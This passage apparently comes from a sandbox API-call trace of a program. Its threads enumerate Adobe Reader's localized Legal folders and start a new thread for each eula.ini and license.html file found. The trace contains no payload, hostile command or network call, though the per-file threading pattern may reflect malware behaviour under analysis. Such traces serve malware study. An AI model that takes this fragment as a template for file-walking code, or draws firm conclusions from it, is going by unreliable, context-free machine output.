lpFindFileData=0x9b79e0 | out: lpFindFileData=0x9b79e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0155.176] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0155.176] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0155.176] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7568 [0155.176] wcscpy (in: _Dest=0x8e7568, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" [0155.176] wcscat (in: _Dest=0x8e7568, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\" [0155.176] wcscat (in: _Dest=0x8e7568, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini" [0158.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1804 [0158.090] FindNextFileW (in: hFindFile=0x942ab0, lpFindFileData=0x9b79e0 | out: lpFindFileData=0x9b79e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc60d, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0158.090] wcscmp (_String1="license.html", _String2=".") returned 1 [0158.090] wcscmp (_String1="license.html", _String2="..") returned 1 [0158.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x941110 [0158.090] wcscpy (in: _Dest=0x941110, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" [0158.090] wcscat (in: _Dest=0x941110, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\" [0158.090] wcscat (in: _Dest=0x941110, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" [0158.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x941110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee0 [0158.092] FindNextFileW (in: hFindFile=0x942ab0, lpFindFileData=0x9b79e0 | out: lpFindFileData=0x9b79e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc60d, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0158.092] FindClose (in: hFindFile=0x942ab0 | out: hFindFile=0x942ab0) returned 1 [0158.092] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b79e0) returned 1 [0158.092] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0000) returned 1 [0158.092] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0980) returned 1 Thread: id = 3313 os_tid = 0x694 [0153.106] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0300 [0153.106] wcscpy (in: _Dest=0x8d0300, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN" [0153.106] wcscat (in: _Dest=0x8d0300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\" [0153.106] wcscat (in: _Dest=0x8d0300, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*" [0153.107] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9baed0 [0153.107] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b078 [0154.903] wcscmp (_String1=".", _String2=".") returned 0 [0154.903] FindNextFileW (in: hFindFile=0x93b078, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.903] wcscmp (_String1="..", _String2=".") returned 1 [0154.903] wcscmp (_String1="..", _String2="..") returned 0 [0154.903] FindNextFileW (in: hFindFile=0x93b078, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0154.903] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0154.903] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0154.903] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7208 [0154.903] wcscpy (in: _Dest=0x8e7208, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN" [0154.903] wcscat (in: _Dest=0x8e7208, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\" [0154.903] wcscat (in: _Dest=0x8e7208, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini" [0155.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12dc [0155.696] FindNextFileW (in: hFindFile=0x93b078, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1dc34, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0155.696] wcscmp (_String1="license.html", _String2=".") returned 1 [0155.696] wcscmp (_String1="license.html", _String2="..") returned 1 [0155.696] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x12c75b70 [0155.696] wcscpy (in: _Dest=0x12c75b70, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN" [0155.696] wcscat (in: _Dest=0x12c75b70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\" [0155.696] wcscat (in: _Dest=0x12c75b70, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" [0155.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e0 [0155.697] FindNextFileW (in: hFindFile=0x93b078, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1dc34, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0155.697] FindClose (in: hFindFile=0x93b078 | out: hFindFile=0x93b078) returned 1 [0155.697] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9baed0) returned 1 [0155.697] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0300) returned 1 [0155.697] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0180) returned 1 Thread: id = 3314 os_tid = 0x770 [0153.107] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0500 [0153.107] wcscpy (in: _Dest=0x8d0500, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR" [0153.107] wcscat (in: _Dest=0x8d0500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\" [0153.107] wcscat (in: _Dest=0x8d0500, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*" [0153.107] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9ba798 [0153.107] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*", lpFindFileData=0x9ba798 | out: lpFindFileData=0x9ba798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942b30 [0155.169] wcscmp (_String1=".", _String2=".") returned 0 [0155.169] FindNextFileW (in: hFindFile=0x942b30, lpFindFileData=0x9ba798 | out: lpFindFileData=0x9ba798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.169] wcscmp (_String1="..", _String2=".") returned 1 [0155.169] wcscmp (_String1="..", _String2="..") returned 0 [0155.169] FindNextFileW (in: hFindFile=0x942b30, lpFindFileData=0x9ba798 | out: lpFindFileData=0x9ba798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0155.169] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0155.169] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0155.169] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7a78 [0155.169] wcscpy (in: _Dest=0x8e7a78, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR" [0155.169] wcscat (in: _Dest=0x8e7a78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\" [0155.169] wcscat (in: _Dest=0x8e7a78, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini" [0155.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7a78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1988 [0155.653] FindNextFileW (in: hFindFile=0x942b30, lpFindFileData=0x9ba798 | out: lpFindFileData=0x9ba798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0155.653] wcscmp (_String1="license.html", _String2=".") returned 1 [0155.653] wcscmp (_String1="license.html", _String2="..") returned 1 [0155.653] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ab688 [0155.653] wcscpy (in: _Dest=0x9ab688, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR" [0155.653] wcscat (in: _Dest=0x9ab688, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\" [0155.653] wcscat (in: _Dest=0x9ab688, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" [0155.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ab688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x116c [0155.654] FindNextFileW (in: hFindFile=0x942b30, lpFindFileData=0x9ba798 | out: lpFindFileData=0x9ba798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0155.654] FindClose (in: hFindFile=0x942b30 | out: hFindFile=0x942b30) returned 1 [0155.655] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ba798) returned 1 [0155.655] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0500) returned 1 [0155.655] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0c80) returned 1 Thread: id = 3315 os_tid = 0x77c [0153.108] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0b80 [0153.108] wcscpy (in: _Dest=0x8d0b80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD" [0153.108] wcscat (in: _Dest=0x8d0b80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\" [0153.108] wcscat (in: _Dest=0x8d0b80, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*" [0153.108] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b9df8 [0153.108] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*", lpFindFileData=0x9b9df8 | out: lpFindFileData=0x9b9df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9424b0 [0154.200] wcscmp (_String1=".", _String2=".") returned 0 [0154.200] FindNextFileW (in: hFindFile=0x9424b0, lpFindFileData=0x9b9df8 | out: lpFindFileData=0x9b9df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.200] wcscmp (_String1="..", _String2=".") returned 1 [0154.200] wcscmp (_String1="..", _String2="..") returned 0 [0154.200] FindNextFileW (in: hFindFile=0x9424b0, lpFindFileData=0x9b9df8 | out: lpFindFileData=0x9b9df8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0154.200] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0154.200] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0154.200] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e8408 [0154.200] wcscpy (in: _Dest=0x8e8408, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD" [0154.201] wcscat (in: _Dest=0x8e8408, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\" [0154.201] wcscat (in: _Dest=0x8e8408, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini" [0155.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1328 [0155.332] FindNextFileW (in: hFindFile=0x9424b0, lpFindFileData=0x9b9df8 | out: lpFindFileData=0x9b9df8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc288, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0155.332] wcscmp (_String1="license.html", _String2=".") returned 1 [0155.332] wcscmp (_String1="license.html", _String2="..") returned 1 [0155.332] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ac690 [0155.332] wcscpy (in: _Dest=0x9ac690, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD" [0155.332] wcscat (in: _Dest=0x9ac690, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\" [0155.332] wcscat (in: _Dest=0x9ac690, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" [0155.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16ac [0155.333] FindNextFileW (in: hFindFile=0x9424b0, lpFindFileData=0x9b9df8 | out: lpFindFileData=0x9b9df8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc288, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0155.333] FindClose (in: hFindFile=0x9424b0 | out: hFindFile=0x9424b0) returned 1 [0155.333] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b9df8) returned 1 [0155.333] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0b80) returned 1 [0155.333] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d1000) returned 1 Thread: id = 3316 os_tid = 0x788 [0153.109] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0480 [0153.109] wcscpy (in: _Dest=0x8d0480, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR" [0153.109] wcscat (in: _Dest=0x8d0480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\" [0153.109] wcscat (in: _Dest=0x8d0480, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*" [0153.109] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b7510 [0153.109] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*", lpFindFileData=0x9b7510 | out: lpFindFileData=0x9b7510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9d50 [0155.030] wcscmp 